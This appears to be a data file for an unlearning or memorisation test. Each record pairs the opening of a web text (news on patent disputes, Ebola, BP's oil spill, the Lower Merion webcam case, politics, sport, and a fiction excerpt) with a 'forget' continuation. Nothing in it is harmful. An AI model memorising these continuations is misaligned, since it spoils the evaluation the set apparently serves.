{"prompt": "Image caption Microsoft claims it would cost it $4bn a year if it met all of Motorola's licensing demands Microsoft has suffered a setback in a patent row over technologies used by its Xbox 360 games console. A judge at the US International Trade Commission has ruled that the firm infringed four patents owned by Motorola Mobility . The full commission will review the judgement in August. If the final ruling goes against Microsoft and it does not settle, Motorola could theoretically force it to halt imports of the Xbox to the US. The claims relate to technologies involved in", "forget": "the H.264 video compression standard and wi-fi connectivity. Licensing fees This is just one of several cases involving about 50 intellectual properties that the smartphone maker says Microsoft should have licensed. Microsoft has said that if it met all of Motorola's demands it would face an annual bill of $4bn (\u00a32.5bn). Motorola - which is in the process of being taken over by Google - disputes the figure. A spokesman for Motorola said: \"Microsoft continues to infringe Motorola Mobility's patent portfolio, and we remain confident in our position.\" However, Microsoft signalled it planned to fight on, saying: \"We remain confident the commission will ultimately rule in Microsoft's favour.\" 'Essential' innovations Patent consultant Florian Mueller, who advises Microsoft, noted on his blog that three of the four disputed patents involved Frand-type technologies . These are inventions recognised as being essential to an industry standard. In other words, Microsoft could not offer wi-fi or the ability to play H.264 videos without using them. Such patents must be offered under \"fair, reasonable and non-discriminatory terms\". At the start of April, the European Commission said that it had launched two investigations into whether Motorola's efforts to enforce its Frand-type innovations amounted to \"an abuse of a dominant market position\". German ban The next significant ruling involving the two firms is due on 2 May from a court in Mannheim, Germany. It will decide whether Motorola should be allowed to order a ban on the distribution of Windows 7, Windows Media Payer and the Xbox console in the country because of the H.264 patents dispute. Microsoft has already moved its European software distribution centre from Germany to the Netherlands to minimise potential disruption. However, a US court has ruled that Motorola must not enforce such a ban until a Washington-based judge considers evidence about the"}
{"prompt": "Dr Samuel Brisbane becomes first doctor in west African nation to die, as second US healthcare worker is infected One of Liberia's most high-profile doctors has died of Ebola, a government official said on Sunday, and a second US healthcare worker has been infected in what the World Health Organisation (WHO) is calling the largest outbreak ever recorded of the disease. Dr Samuel Brisbane is the first Liberian doctor to die in an outbreak, which the WHO says has killed 129 people in the west African nation. A Ugandan doctor working in the country died this month. Brisbane, who once", "forget": "served as a medical adviser to the former Liberian president, Charles Taylor, was working as a consultant with the internal medicine unit at the country's largest hospital, the John F Kennedy Memorial Medical Center in Monrovia. After falling ill, he was taken to a treatment centre on the outskirts of the capital, where he died, said Tolbert Nyenswah, an assistant health minister.Under the supervision of health workers, family members escorted the doctor's body to a burial location west of the city, Nyenswah said. He said another doctor who had been working in Liberia's central Bong County was being treated for Ebola at the centre where Brisbane died. The situation \"is getting more and more scary,\" Nyenswah said. Last week Sierra Leone's top Ebola doctor fell ill with the disease and in Liberia, Samaritan's Purse, a Christian charity, announced at the weekend that an American doctor was infected. Dr Kent Brantly had been isolated at the group's Ebola treatment centre at the ELWA hospital in the Liberian capital, Monrovia. A second American, Nancy Writebol, later tested positive for the virus at the same medical compound, said Ken Isaacs, of Samaritan's Purse. Isaacs said Writebol, who works with the allied aid group SIM, was in a stable but serious condition at a hospital near Monrovia. Brantly received intensive treatment on Sunday and was talking to his medical team and working on his computer, said Melissa Strickland, a spokeswoman for Samaritan's Purse. \"We are hopeful, but he is certainly not out of the woods yet,\" Strickland said. In Nigeria, officials announced on Friday that a Liberian official had died of Ebola after flying from Monrovia to Lagos raising fears that other passengers could take the disease beyond Africa. The WHO says the outbreak has also killed 319 people in Guinea and 224 in"}
{"prompt": "Mazen Hajjar makes his 961 Beer in Beirut and exports it worldwide. Output is modest, at 200,000 cases last year. (961 BEER) \u201cI\u2019m the lunatic who makes beer in Lebanon!\u201d announces Mazen Hajjar as he rises to extend his hand. That\u2019s Lebanon in the Middle East \u2014 not Pennsylvania. Hajjar\u2019s brewery, 961 Beer (named after the international dialing code for Lebanon), is a five-minute drive from Beirut. With his shoulder-length dark hair and full beard, he might be mistaken for a graduate student who wandered into ChurchKey near Logan Circle to down a few drafts after banging out his thesis.", "forget": "But this youthful 39-year-old has a remarkably varied r\u00e9sum\u00e9: Before brewing caught his fancy, he worked as a photographer covering the war in Serbia; he spent nine years as an investment banker; and he made an unsuccessful attempt to start the Middle East\u2019s first low-fare airline. Within minutes we\u2019re clinking glasses of 961 Lebanese Pale Ale, a marriage of European brewing tradition and Levantine cuisine. Hajjar supplements the hops with a melange of Middle Eastern herbs and spices: mint, sumac, anise, chamomile, sage and za\u2019atar. The pale ale is delicate but flavorful, with a dry, herbal, savory flavor that would pair nicely with a skewer of well-seasoned chicken or lamb. 961 Lebanese Pale Ale is available in kegs and 11.2-ounce bottles. Hajjar\u2019s American importer, St. Killian in Kingston, Mass., carries four other 961 varieties in bottles only, all solid interpretations of classic European styles. They are a clean-tasting golden lager; a red ale balancing citrusy American hops with lots of caramel malt; a Belgian-style witbier incorporating wheat from Lebanese farmers; and a roasty porter full of mocha flavors. Many U.S. craft brewers like to talk about their baptism of fire in a highly competitive industry, but Hajjar literally was under siege when he hatched his grand plan. \u201cI started in 2006,\u201d he says. \u201cIsrael and Hezbollah were bombing . . . each other. The electricity was off; I was sitting on my balcony reading the first chapter of \u201cBeer School\u201d by Steve Hindy and Tom Potter. That\u2019s when I thought, \u2018Eureka!\u2019 \u201d Hajjar took inspiration from Hindy, a former Middle East correspondent for the Associated Press. Like Hajjar, Hindy had to dodge bombs and bullets; he was sitting in the grandstand behind Anwar Sadat in 1981 when the Egyptian leader was assassinated. Like Hajjar, Hindy was led by the region\u2019s"}
{"prompt": "BlackBerry Ltd. has created a new business unit that will combine some of its most innovative technology and patent portfolio as the company focuses away from handheld devices. The unit, to be called BlackBerry Technology Solutions, will be headed by Sandeep Chennakeshu, the former president of Ericsson Mobile Platforms and former chief technology officer of Sony-Ericsson. \"Combining all these assets into a single business unit led by Sandeep will create operational synergies and new revenue streams, furthering our turnaround strategy,\" said John Chen, BlackBerry's executive chairman and chief executive officer. Blackberry turns back on handsets Under Chen, BlackBerry has stripped", "forget": "out much of its consumer-oriented businesses, sold real estate and laid off employees. He told employees earlier this month that the Waterloo, Ont.-based company \u2014 best known for its smartphones and email services \u2014 had completed its downsizing phase and was ready to make acquisitions and do some \"modest\" hiring in certain areas of the business, such as product development and sales. Independent technology analyst Carmi Levy said the new unit reinforces the fact that Blackberry's days primarily as a handset vendor are behind it as it moves \"very aggressively\" toward a different business. \"This is probably the most tangible evidence yet of the company's transition into something very different than it was even a year or two ago,\" Levy said. \"It suggests they are no longer as dependent on handset-based revenue as they once were and as a result they have both the financial foundation as well as the corporate organizational confidence to more concretely move away from those lines of businesses into areas that are largely based on its intellectual property.\" He said the move was positive for Blackberry, noting that it has struggled with its product launches and faced stiff competition from other smartphone makers while it has received little credit for its range of capabilities, especially when it came to software. \"It's fair to say that much of the company's transition over the last couple of years has been judged based on criteria that don't reflect the full breath of the business,\" he said. \"It is not simply a company that makes smartphones, it is a company that has a rich legacy of creating and marketing intellectual property.\" Chennakeshu, who has 73 patents to his name, has 25 years of experience in research, product development, and intellectual property licensing in the wireless, electronics and semiconductor industries."}
{"prompt": "Bernd Lange, the chairman of the European Parliament's important trade committee, has indicated that he now expects the Transatlantic Trade and Investment Partnership (TTIP) negotiations will probably fail, following a major leak of confidential documents from the talks. Greenpeace Netherlands has released half of the entire TTIP draft text as of April 2016, prior to the start of the 13th round of TTIP negotiations between the EU and the US, which reveal US demands in detail for the first time. Although the EU has improved transparency recently, and routinely publishes its offers for each TTIP chapter, the US has consistently", "forget": "refused to do so. Even MEPs and MPs have faced extreme restrictions on what they are allowed to look at, copy, or even say when it comes to the US position. The new leak by an unknown whistleblower represents a major blow to US attempts to keep its negotiating demands confidential, and provides important information to the both the EU and US public for the first time. US wants ISDS and regulatory cooperation The new documents confirm some of the fears expressed by many organisations and commentators regarding two key areas discussed previously here on Ars: the Investment-State Dispute Settlement ( ISDS ) mechanism, and regulatory cooperation As Ars noted last September, in the face of massive public concerns about ISDS, the European Commission is proposing a modified approach, the Investment Court System (ICS), which it claims addresses the problems of ISDS. However, even though the ICS idea was formally presented to the US last year, one of the TTIP leaks shows that it was not even discussed during the 12th round, something that the European Commission's public report on the negotiations omitted to mention. This confirms earlier indications that the US is not interested in ICS, and will insist on including standard ISDS in TTIP, regardless of EU worries. A leaked chapter on \"Regulatory coherence, transparency and other good regulatory practices\" indicates that the US wants all regulations, even those concerning health and safety or environmental issues, to be judged by the yardstick of their effects on trade: \"When developing a regulation, a regulatory authority of a Party shall evaluate any information provided in comments by the other Party or a person of the other Party regarding the potential trade effects of the regulation that it receives during the comment period.\" In practice, this means that companies will be"}
{"prompt": "Previous Next I had gone to a lot of trouble to build my first phase of an army, all individuals with reasonably respectable backgrounds and some degree of know-how. It had required planning, subverting the gangs of a small city, subverting Fray\u2019s plans, and then weeks and months of acclimatizing the students to life beyond the academy. Months more work still remained to do. \u201cI can\u2019t believe they lost,\u201d I said. \u201cSurrendered,\u201d Jessie said. \u201cI\u2019m so disappointed,\u201d I said. I surveyed the situation. The area we\u2019d left our people in had seen some sparse gunfire and some fires that had", "forget": "already petered out. We were in the process of creeping up on a row of apartments where our guys\u2019 carriages were still parked outside, only half of the bags still mounted on them. \u201cAgainst a tenth their number,\u201d I said. \u201cThere\u2019s no evidence of that,\u201d Jessie said. \u201cThere\u2019s no telling what their numbers are.\u201d Our guys were inside and we could only see glimpses. Their guys were mostly inside, with a few standing guard. Helen draped over Jessie, who was helping her to walk. Helen wasn\u2019t lifting her head, and our improvised medical care had her wrapped up awkwardly in several places, but she was an oddity, a creature that only a very select few could really work on. That was what made me worry. Halfway across the city, her brother was hunched over, only his shoulders and part of his back visible over the skyline. Now and then he moved, producing a horrendous crashing sound. \u201cI wonder if he\u2019s having fun,\u201d I asked. Helen smiled through the curtain of blood-stained hair that covered her face, moving her head to try and look up at her brother. She couldn\u2019t seem to see him with the way she slouched forward and then let her head droop, conserving energy. Her resilience in the face of multiple gunshots was giving me a newfound respect for what her brother must be like. \u201cDoes he enjoy things? Does he have good days? Imagine the Lambs with him in tow. There\u2019s Evette, there\u2019s Jessie, then you\u2019ve got Ashton, Gordon, Helen, Lillian, and-\u201d \u201cYou\u2019re leaving yourself out? And including me as a girl?\u201d \u201cJust imagining hypotheticals. So you\u2019ve got the core group, and the dice fell down differently and so there\u2019s no Sylvester, maybe throw Hubris in there from an earlier point of view, because I like"}
{"prompt": "Gambling addiction was a contributing factor in nearly 130 suicides in Victoria over the past decade, according to figures released by the Victorian coroner. The report identified 128 gambling-related suicides between January 2000 and December 2012. Almost all \u2013 126 \u2013 were of people with a gambling addiction, while two were of people who were adversely affected by a partner's problem gambling. Men accounted for 84% of the suicide toll, with the figure peaking for those aged between 30 and 39. While the coroner could not identify the type of gambling engaged in by 105 of the people who took", "forget": "their lives, of the remaining 23 deaths, 19 were linked to poker machine addiction. Two deaths were linked to TAB gambling, one to online gambling and one to roulette wheels. In addition to the suicides, the coroner reported two murders linked to problem gambling, in which someone with a gambling addiction killed their partner before committing suicide. A 2010 report suggested that gambling was a factor for one in five suicidal hospital patients in Victoria. Poker machines have been regularly cited as the leading cause of problem gambling in Victoria. Last year, $2.49bn was spent on Victoria's 26,000 poker machines \u2013 down $184m on the previous year. The Victorian government has removed all ATMs from gambling venues. The coroner's report shows that gambling-related suicides may be on a downward trend, with two suicides in 2012 and five in 2011, compared with 17 in 2001 and 16 in both 2002 and 2003. Federally, the new Coalition government has promised to help problem gamblers kick the habit, although it has come under fire for its plans to abolish the national gambling regulator, with a gaming industry-headed advisory body in its stead. The anti-pokie campaigner Tim Costello, also chief executive of World Vision Australia, told Guardian Australia the figures showed the need to introduce $1 bet limits. \"I've known of these suicides for a while because I've taken funerals as a minister,\" he said. \"There are also cases such as babies who died in cars during summer because their mothers have gone in for a quick play of the pokies and forgotten about it. It's clear that gambling can cause the ultimate catastrophe, not just crime or broken marriages. \"This is an optional entertainment and it's the state's duty to protect the vulnerable. It's not prohibitionist to have $1 maximum bets \u2013 people"}
{"prompt": "FOR a politician whose party leader called a General Election because the opinion polls told her that she\u2019d get a whopping majority, only to discover once the votes were in that she\u2019d lost the slender majority that she had, you\u2019d think that Ruth Davidson would be a bit more circumspect about demanding that parties in power make decisions based on opinion polls. But no, Ruth Davidson wants the Scottish Government to drop the bill that\u2019s already been passed by the Scottish Parliament, and she wants them to drop it on the basis of an opinion poll. You\u2019d have thought a", "forget": "Tory would have learned their lesson about relying on opinion polls, but not Ruth. It\u2019s not even as though the opinion poll in question, which purportedly showed that 60 per cent of people oppose another independence referendum, was unbiased and neutral. It asked a ridiculously leading question, a question phrased in such a way as to positively beg people to say \u201cno\u201d. The truth is that asking people whether they want another independence referendum is a meaningless exercise, in whatever way the question is phrased, and the reason it\u2019s meaningless is because it takes no account of circumstances or motives. I\u2019m hugely keen on the idea of independence, you may have noticed, but if I was asked in an opinion poll if I wanted a referendum tomorrow, I\u2019d say no. I want another referendum when the circumstances are right for one. I want another referendum when we\u2019re going to win it. So, despite the fact that I spend much of my time travelling the length and breadth of Scotland talking about independence and encouraging the formation of grass roots Yes groups, Ruth Davidson would still take my opinion and include it in whatever she\u2019s citing at FMQs as \u201cproof\u201d that Scotland doesn\u2019t want another independence referendum. The best time for another independence referendum is at the time that the Scottish Government originally proposed to have it \u2013 when the Brexit negotiations have played out and we know what sort of deal the UK has struck with the EU. The people of Scotland have a right to vote on that. Ruth doesn\u2019t want us to have that right. She wants us to take whatever it is that the UK chucks at us and to be grateful for it. What Ruth Davidson is demanding is that the people of Scotland surrender now"}
{"prompt": "Detailed Response Book of Mormon Elder Christofferson Quote The absence of evidence is not proof. Here\u2019s one small example: Matthew Roper in a FairMormon Blog on June 17, 2013, writes about a criticism repeated many times over the years about the mention of steel in the Book of Mormon. In 1884, one critic wrote, \u201cLaban\u2019s sword was steel, when it is a notorious fact that the Israelites knew nothing of steel for hundreds of years afterwards. Who but as ignorant a person as Rigdon would have perpetuated all these blunders.\u201d More recently, Thomas O\u2019Dea in 1957 stated, \u201cEvery commentator on", "forget": "the Book of Mormon has pointed out the many cultural and historical anachronisms, such as the steel sword of Laban in 600 B.C.\u201d We had no answer to these critics at the time, but as often happens in these matters, new discoveries in later years shed new light. Roper reports, \u201cIt is increasingly apparent that the practice of hardening iron through deliberate carburization, quenching and tempering was well known to the ancient world from which Nephi came. \u2018It seems evident,\u2019 notes one recent authority, \u2018that by the beginning of the tenth century B.C. blacksmiths were intentionally steeling iron.\u2019\u201d In 1987, the Ensign reported that archeologists had unearthed a long steel sword near Jericho dating back to the late seventh century B.C., probably to the reign of King Josiah who died shortly before Lehi began to prophesy. This sword is now on display at Jerusalem\u2019s Israel Museum. The museum\u2019s explanatory sign reads in part, \u201cThe sword is made of iron hardened into steel, attesting to substantial metallurgical know-how.\u201d \u2014Elder D. Todd Christofferson, \"The Prophet Joseph Smith\", Brigham Young University-Idaho Devotional, September 24, 2013. Jeremy's Response Elder Christofferson creates the following strawman: \"There was steel in the Middle East around the time of Lehi, so maybe there was steel in America at the same time.\" The problem, however, doesn\u2019t lie with the ability or knowledge to produce steel at the time Lehi lived. The problem lies in the fact that no ancient American steel tools or weapons (or traces or evidence of them or their manufacture) have ever been found. Elder Christofferson is using a strawman by sidestepping the actual argument (that no steel has ever been found in ancient America) and refuting a weaker argument (that steel was not capable of being manufactured at the time of Lehi). The Book of"}
{"prompt": "Society says that once a woman becomes a wife, has kids or reaches a certain age then they are no longer allowed to express their sexuality. Women who breach this outdated social norm are slut-shamed, condemned, criticised and judged for the way they dress, act and speak. They say \u2018Is that dress really appropriate for a mom to wear? What kind of example are you setting for your daughter?\u2019 They say \u2018you\u2019re 60, you should cover up.\u2019 They say \u2018how does he [the husband] allow his wife to dress like that let alone go out in public.\u2019 They say \u2018you\u2019re", "forget": "a bad role model for young women.\u2019 They say \u2018you have no self-respect.\u2019 Well, the star who needs no introduction. The one and only Madonna recently posted a number of semi-nude photos onto her Instagram under the caption \u201cStill Acting my Age!!!\u201d accompanied by some choice words: \u201cHow do i know I\u2019m still acting my Age? Because its MY age and its MY life and all of you Women Hating Bigots need to sit down and try to understand why you feel the need to limit me with your fear of what you aren\u2019t familiar with. You know what happens to Bigots? NOTHING! Nothing happens to people who. Think in a limited way. Facts\u2026 \u201d wrote Madonna. Yaassss girl Yasssss! Thank you for living your life how you want and not how society says you must. Thank you for fighting against this sexist expiry date that dictates when a woman can or cannot express their sexuality. Thank you for fighting to dismantle the sexist social expectations placed upon women. But at a time where women need the support of other women to fight the patriarchy and these sexist social expectations- unfortunately, in many cases it\u2019s other girls who are doing the hating. Let\u2019s be real. Girl on girl hate exists. And it sucks. Girl on girl hate, however unfortunate, is unsurprising. We live in a culture where girls are constantly pinned against each other as rivals. It\u2019s always a \u2018Who Wore it Better\u2019 between two women, instead of a \u2018They Both Slayed.\u2019 As prominent novelist Chimamanda Ngozi Adichie pointed out in her personal essay We Should All Be Feminists and in Beyonc\u00e9\u2019s song \u2018Flawless\u2019: \u201cWe raise girls to see each other as competitors \u2014 not for jobs or for accomplishments, which I think can be a good thing, but for"}
{"prompt": "Protesters take to the street in Chicago after recent grand jury decisions in police-involved deaths in New York, Cleveland and Ferguson, Mo. (Photo by Tasos Katopodis/Getty Images) Congress reauthorized legislation this week that will require states to report the number of people killed during an arrest or while in police custody. \"You can't begin to improve the situation unless you know what the situation is,\" Rep. Bobby Scott (D-Va.), one of the bill's sponsors, said in an interview with the Washington Post. \"We will now have the data.\" The Death in Custody Reporting Act was originally passed in 2000, but", "forget": "expired in 2006. Scott has attempted to reauthorize the bill unsuccessfully four times since then. The first time the bill was passed, it took years for data to start coming in, and it expired shortly thereafter, Scott said. \"It's the way government works,\" he said. \"You're trying to get local governments to make periodic reports. It just takes some time for this to become routine.\" The lack of reliable information about how many people are killed by police annually has come into focus following the deaths of Michael Brown and Eric Garner. In place of government-provided data, crowd-sourced efforts like Fatal Encounters and one by the Gawker Media-owned sports Web site Deadspin have been created that rely on local media reports and volunteers who input information. Fatal Encounters, founded in 2012 by Reno News & Review editor and publisher Brian Burghart, has recorded 3,010 deaths, with another 9,000 in its \"development queue\" where various leads from places like Wikipedia and FBI data are available for users to research. The site sees an increase in traffic whenever a death captures the public attention, and since Sunday, Burghart said, there's been about 600 new records submitted. But despite the reauthorization of the Death in Custody Reporting Act, Burghart said he'll continue collecting data and keep the site up. \"I don't know that anything changed,\" he said of the first time the law was passed. But if its second iteration produces meaningful data this time around, he said, then he might consider shuttering the project. \"I hope [the law] really means something,\" he said. Lawmakers are confident it does. Sen. Richard Blumenthal (D-Conn.), a sponsor, said the law \"will give the information needed to strengthen trust at every level.\" \"Alarmingly, on an issue this profoundly important and potentially explosive, there is no reliable"}
{"prompt": "Photo Read in Chinese | \u70b9\u51fb\u67e5\u770b\u672c\u6587\u4e2d\u6587\u7248 Andrew G. Walder is a sociologist at Stanford University who has written extensively on the Cultural Revolution and life in Maoist China. His latest book, \u201cChina Under Mao: A Revolution Derailed,\u201d published this year by Harvard University Press, incorporates the latest scholarship on this tumultuous era, when bedrocks of Chinese society \u2014 especially private property and communal religious life \u2014 were destroyed in favor of Communist-style collectives. He argues that Mao lurched from crisis to crisis, inspired less by a new vision of Communism than a simplistic understanding of Stalinist ideology. Photo In painting", "forget": "this bleak picture, Mr. Walder helps explain why in the late 1970s, after Mao\u2019s death, China embarked on far-reaching market-oriented economic liberalization \u2014 the basis for its prosperity and power today. In an interview, he discussed how the Communist victory in the civil war informed Mao\u2019s approach to politics, who was responsible for most of the violence during the Cultural Revolution and what elements of Mao\u2019s rule can be seen in President Xi Jinping\u2019s administration today. Excerpts follow: Q. Why do we need a new book on Mao Zedong and the first decades of Communist rule in China? A. Some really good material on the Maoist era only really came out well into the reform era, but most social scientists were focusing on China\u2019s reforms. The reforms were dramatic and unexpected, and so most of the attention focused on them. And these materials, as they gradually became available, languished. It took scholars like Roderick MacFarquhar, Michael Schoenhals, Frederick Teiwes and Warren Sun to begin to put this picture together. These works brought into focus the politics at the top. They dispelled many misperceptions. I see my role as connecting what happened at the top of the political system with the outcomes. Q. What sort of misperceptions did they dispel? A. Teiwes and Sun, for example, showed that what we thought of as the \u201ctwo-line struggle\u201d [between Mao and other leaders over economic policy in the early 1960s, in the aftermath of the Great Leap Forward, when famine killed at least 30 million] wasn\u2019t really like that. The original idea was that Deng Xiaoping and Liu Shaoqi staked out positions different from Mao. This view was derived from the polemics of the period. Mao and his side criticized Deng and Liu, so scholars thought that this reflected a deeper reality. That"}
{"prompt": "(CNN) When it comes to shocking developments in the winding probe into President Donald Trump's campaign, the 2016 election, the Russians, hacking, allegations of collusion, and who-knows-what-else, the revelation on Thursday that special counsel Robert Mueller had issued grand jury subpoenas somehow managed to feel like an anticlimax. Mueller's particular concern in this case appears to be Donald Trump Jr.'s meeting with a Russian lawyer, among others, at Trump Tower in June 2016. But the real news here has less to do with the particulars than the existence of the grand jury itself -- and where that leads. This investigation,", "forget": "triggered by Moscow's meddling, is now expanding. Mueller is on the money trail, with an eye on Trump and his associates' financial ties to Russia . That is a potential rabbit hole that could lead to some very weird places, including those with no bearing or relation to the 2016 election. So again, while the panel will in theory allow Mueller and his team to expedite their work and help bring about some kind of legally and politically satisfying conclusion to what is -- and who would disagree at this point? -- a generational fiasco, it could also prolong and deepen it. A photograph showing former White House intern Monica Lewinsky meeting President Bill Clinton at a White House function submitted as evidence in documents by the Starr investigation and released by the House Judicary committee September 21, 1998. History would vote for the latter. Just ask former President Bill Clinton. Or the special prosecutor who led the probe that took us from Whitewater to Monica Lewinsky's blue dress. Ken Starr, in an interview on CNN Friday, warned about the danger of Mueller ranging too far from his mandate -- remarks that, as CNN's Chris Cillizza noted, confirmed irony's untimely death . But years have gone by and there is, perhaps, an argument that Starr, as much as anyone, has a sense of precisely how these things can go haywire. We are coming up now on the 19th anniversary of Clinton's big grand jury testimony, the first given by a sitting president into an inquiry focused on his own behavior. Nixon took his turn after leaving office . Clinton answered the Starr team's questions from the White House, his image and voice beamed out over closed-circuit television. Given Trump's predicament, the subject matter that day underlines a certain ironic twist."}
{"prompt": "Robbins v. Lower Merion School District U.S. District Court for the Eastern District of Pennsylvania Full case name Blake J. Robbins, Michael E. Robbins and Holly S. Robbins, individually, and on behalf of all similarly situated persons v. Lower Merion School District, the Board of Directors of the Lower Merion School District, and Christopher W. McGinley, Superintendent of Lower Merion School District Date decided Settled October 2010 ($610,000)[1] Docket nos. 10-cv-0665 Judge sitting Senior U.S. District Judge Jan E. DuBois Case history Related actions Hasan v. Lower Merion School District (filed July 27, 2010) Robbins v. Lower Merion School District", "forget": "is a federal class action lawsuit,[2] brought in February 2010 on behalf of students of two high schools in Lower Merion Township, a suburb of Philadelphia.[3] In October 2010, the school district agreed to pay $610,000 to settle the Robbins and parallel Hasan lawsuits against it.[1] The suit alleged that, in what was dubbed the \"WebcamGate\" scandal, the schools secretly spied on the students while they were in the privacy of their homes.[4][5] School authorities surreptitiously and remotely activated webcams embedded in school-issued laptops the students were using at home.[6][7] After the suit was brought, the school district, of which the two high schools are part, revealed that it had secretly taken more than 66,000 images.[8][9] The suit charged that in doing so the district infringed on its students' privacy rights.[6][10][11] A federal judge issued a preliminary injunction, ordering the school district to stop its secret webcam monitoring, and ordered the district to pay the plaintiffs' attorney fees.[12][13][14] The lawsuit was filed after 15-year-old high school sophomore (second year student) Blake Robbins was disciplined at school for his behavior in his home.[6][14] The school based its decision to discipline Robbins on a photograph that had been secretly taken of him in his bedroom, via the webcam in his school-issued laptop. Without telling its students, the schools remotely accessed their school-issued laptops to secretly take pictures of students in their own homes, their chat logs, and records of the websites they visited. The school then transmitted the images to servers at the school, where school authorities reviewed them and shared the snapshots with others.[15] In one widely published photo, the school had photographed Robbins in his bed.[16] The Federal Bureau of Investigation (FBI), U.S. Attorney's Office, and Montgomery County District Attorney all initiated criminal investigations of the matter, which they combined"}
{"prompt": "Holy crap. Hockey is almost here. That means it's time to brush up on who's who when it comes to the Detroit Red Wings. What have we covered so far? The grinders have been checked off the list. Whether you prefer the wingers or centers. We've got you covered. If you're looking to read about the defensmen that we wish weren't here\u2026 well then we've got you covered in that department too. Today, though, it's time to talk about the kids who really aren't kids anymore. While both Danny DeKeyser and Brendan Smith might not be considered kids anymore, they've", "forget": "still got a lot of experience to gain at the NHL level. Danny DeKeyser #65 / Defenseman / Detroit Red Wings Height: 6-3 Weight: 190 Born: Mar 7, 1990 The Danny that we actually like and want on this team just happens to be the Danny that isn't even signed yet. The 24-year-old is still relatively inexperienced when it comes to the NHL. He has 76 regular season games under his belt and an additional seven in the playoffs. That's just over one full season. There's still a lot of room for DeKeyser to grow. Strengths: DeKeyser is solid defenseman. He's right up there near Jonathan Ericsson as the biggest d-man on the roster. He sees the ice well. He isn't known for being a top offensive guy, but he's got some skills to put up some points here and there. He's smart on the ice and can play in all situations if called upon. Weaknesses: I've personally never been a guru by any means when it comes to fancy stats. I'm not anti-fancy stats, but I'll freely admit it's just not something that's my forte. But I know just enough (and have read enough from my talented co-workers on this site) to know that DeKeyser could be better when it comes to zone entries. He dumps the puck in quite a bit. He had the worst rate of any defenseman on the team last season. Expectations: Sign a damn contract. I think, first and foremost, that has to be the top expectation when it comes to DeKeyser. Ken Holland didn't do himself any favors when he re-signed Kyle Quincey. Now it's just about finding that magic bridge contract that falls somewhere between Quincey and Smith. On the ice, I'd like to see him be a little more physical. Depending"}
{"prompt": "Quote of the Day: \u201cOpposing the status quo generates a cloak of media invisibility regardless of party or ideology.\u201d \u2013 Steve Dasbach, co-founder, DownsizeDC.org Lately, we\u2019ve gotten a lot of messages accusing us of being mean-spirited Republicans. Let me be blunt in response . . . We don\u2019t like political parties. We believe that partisanship\u2026 And we believe our job is to afflict the comfortable leadership of both parties \u2013 to speak truth to whichever POWER needs to hear it. Of course, those criticizing us might be suggesting we have some sympathies with the GOP. Well, I ask you\u2026 What", "forget": "leading Republicans do you know who would post ALL of the following new ACTION ITEMS on their blog? Frankly, the GOP is part of the problem in every one of these instances\u2026 1. Now Playing At Security Theater: The Sting Did you know that most terrorist plots are concocted by the FBI? Want to see the proof, and then do something about it? Retweet: http://twitter.com/#!/DDCDispatch/status/108629637835403265 2. I rage against cuts that don\u2019t cut The Republican-controlled House and Democrat-run Senate haven\u2019t really \u201ccut\u201d anything. One party is lying about false accomplishments, while the other is hysterical about something that doesn\u2019t even exist. Do you want real cuts? Retweet: http://twitter.com/#!/DDCDispatch/status/108630458501312512 3. Statism means always having to pay other people\u2019s bills Did the politicians steal $103 million from you so that other people could get broadband cable? Tell them to stop robbing Peter to pay Paul, and robbing you to pay both of them! Retweet: http://twitter.com/#!/DDCDispatch/status/108631061394755584 4. Patriot Act Deployed Against Wikileaks Even we know this is a HERESY! You might disagree. The State hates those who expose wrongdoing, and seeks to silence, even punish them. But what Republican leader would say this? Heck, what Democrat leader is defending the free press in this instance? We think the politicians need to hear from you about this. We hope you agree. Retweet: http://twitter.com/#!/DDCDispatch/status/108631725927702528 And, to the people who\u2019ve written us, or thought of writing us, saying we\u2019re in the Koch brother\u2019s pockets\u2026 Downsize DC has never solicited Koch help The brothers have never given Downsize DC a dime And, borrowing from the list above, you\u2019ve suspended deep thought, lack imagination, and bear a closed mind We\u2019re doing what we\u2019ve done from day one: We\u2019re turning to everyday people like you who will stand with us because we\u2019ll speak the hard truth, even when it\u2019s"}
{"prompt": "More Than 2K Barrels Of Oil Will Continue To Flow, Even With Cap On BP\u2019s successful capping of the damaged wellhead in the Gulf of Mexico is yet another temporary solution to the 12,000 \u2013 30,000 or more barrels per day that have been spewing unto the ocean since April 20. According to the Deepwater Horizon respond command center, BP will be able to capture 90 percent of the oil with the new cap. The other 10 percent of the oil will flow unto the water. Ten percent is a low percentage estimate being made by BP \u2014 who has", "forget": "a bad reputation at presenting factual numbers. When the math is done, however, the number of gallons that will continue to spew with the cap on will be: 2,000 to 4,000 barrels of oil per day. That\u2019s still quite significant. Originally, the American people were led to believe that only 5,000 barrels of oil per day were being poured on the Gulf. But, the estimate went much higher as pressure to BP from environmental advocates forced the oil giant to explain why the spill was growing at the rate it did. Scientists and BP later admitted that the damaged wellhead was spewing as much as 12,000 to 30,000 barrels of crude per day. Some estimates put the leak at 56,000 to 84,000 barrels a day! Having succeeded at placing the cap on the damaged blowout preventer, has given BP some relief since this bit of \u201cgood news\u201d could ease tensions with the White House and the people on the Gulf. However, there are still unresolved issues that need to be dealt with which require continuous news coverage: 1) The continued flow of 2,000 to 4,000 barrels of crude per day 2) The fast moving oil sheen to the beaches at four states 3) The death of sea life and migratory birds 4) The oil trapped in the marshes of Louisiana 5) The economic impact that will continue to take a toll on Gulf communities and businesses. 6) The potential health impacts on the fishermen who continue to lay boom. 7) The future health of oysters, shrimp, and fish from Gulf waters. This spill has become the biggest environmental disaster in US history and it is now almost three times bigger than the Exxon Valdez in Alaska. It will not be until August that this nightmare will be over. That\u2019s when"}
{"prompt": "MYRIAD May 22-24, 2018 Details Musician, composer, and Mercury Prize nominated-producer Oneohtrix Point Never\u2018s world-building approach to creating works spans across the mediums of film, poetry, and visual art. Having just won the best Soundtrack Award at the 2017 Cannes Film Festival for the film Good Time, Oneohtrix Point Never comes to the Armory with a project of unprecedented scope: a hyperstitial \u201cconcertscape\u201d imagined from the perspective of an alien intelligence. MYRIAD is Oneohtrix Point Never\u2019s most ambitious project to date, and builds on a practice of site-specific concertscapes presented at the Museum of Modern Art (2011), Tate Britain and", "forget": "MoMA PS1 (2013), and Edinburgh International Festival (2015), amongst many others. Pulling from long-standing fascinations with film and television tropes, abstract sculpture, game ephemera, poetry, apocryphic histories, internet esoterica, and philosophies of being, MYRIAD generates a conceptual spectrum that is as much a speculation on the unthinkable future as it is an allegory for the current disquiet of a civilization out of balance with its environment. Oriented around behaviorally choreographed set pieces and lighting, the theatrical installation takes a directly formal approach to themes latent in his work by placing the audience inside the architecture of the music itself. Using the scale of the Wade Thompson Drill Hall to explore disorienting 